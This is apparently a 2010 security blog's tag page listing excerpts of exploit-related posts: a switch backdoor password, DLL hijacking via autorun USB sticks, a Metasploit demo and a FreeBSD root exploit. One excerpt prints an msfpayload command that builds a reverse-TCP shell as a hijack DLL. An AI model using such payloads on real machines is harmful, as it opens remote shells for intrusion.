I haven’t seen anyone do a writeup of an actual exploitation of this 0day yet, so I figured now would be a good time, since it’s getting so much publicity. It has just been announced that this is actively being exploited in the wild, which definitely makes it more serious than it was a day [...]
Posts Tagged ‘exploit’
Backdoor Password in Accton Based Switches
Posted: 2nd September 2010 by Matt in code, hacks, securityTags: Accton, Accton-based, backdoor, concept, Dell PowerConnect, EdgeCore, Edwin Eefting, Erik Smit, Erwin Drent, exploit, firmware, Foundry, passwords, perl, PoC, proof, SNMP, vulnerability
This just came across and it’s pretty interesting. I haven’t heard of/seen this before, so I figured I’d repost it here. I don’t usually like to regurgitate stuff, but if I have nothing to write myself and I come across something that I consider to be valuable, interesting, insightful, or whatever, I will. [BEGIN REGURGITATION [...]
Autorun DLL Hijacker (USB stick)
Posted: 26th August 2010 by Matt in code, hacks, securityTags: 0day, autorun, dll, exploit, hack, hijacker, Hijacking, network security audit, USB, vulnerability
I decided that it might be useful to be able to utilize DLL hijacking with Autorun.. here’s the outcome. # msfpayload windows/shell/reverse_tcp LHOST=192.168.0.58 D > /media/KINGSTON/wab32res.dll Created by msfpayload (http://www.metasploit.com). Payload: windows/shell/reverse_tcp Length: 290 Options: LHOST=192.168.0.58
Video Demo of DLL Hijacking Attack.
Posted: 26th August 2010 by Matt in hacks, securityTags: 0day, address book, dll, exploit, hack, hijack, Microsoft, vulnerability, webdav_dll_hijacker
This is a quick video demonstrating the “webdav_dll_hijacker” Metasploit module. In this video, I target Windows Address Book (.vcf/wab32res.dll) (Best viewed in fullscreen mode in 480p or higher. Youtube absolutely killed the video quality. Thanks Youtube!) Just to make sure this is clear.. the window on the left side of the screen is my Linux [...]
FreeBSD 8.*, 7.* Local ‘root’ Exploit
Posted: 19th August 2010 by Matt in code, hacks, securityTags: 0day, code, exploit, freebsd, full disclosure, hack, local, own, root, vulnerability
This came across on Full Disclosure. Here is the exploit in action along with the source code: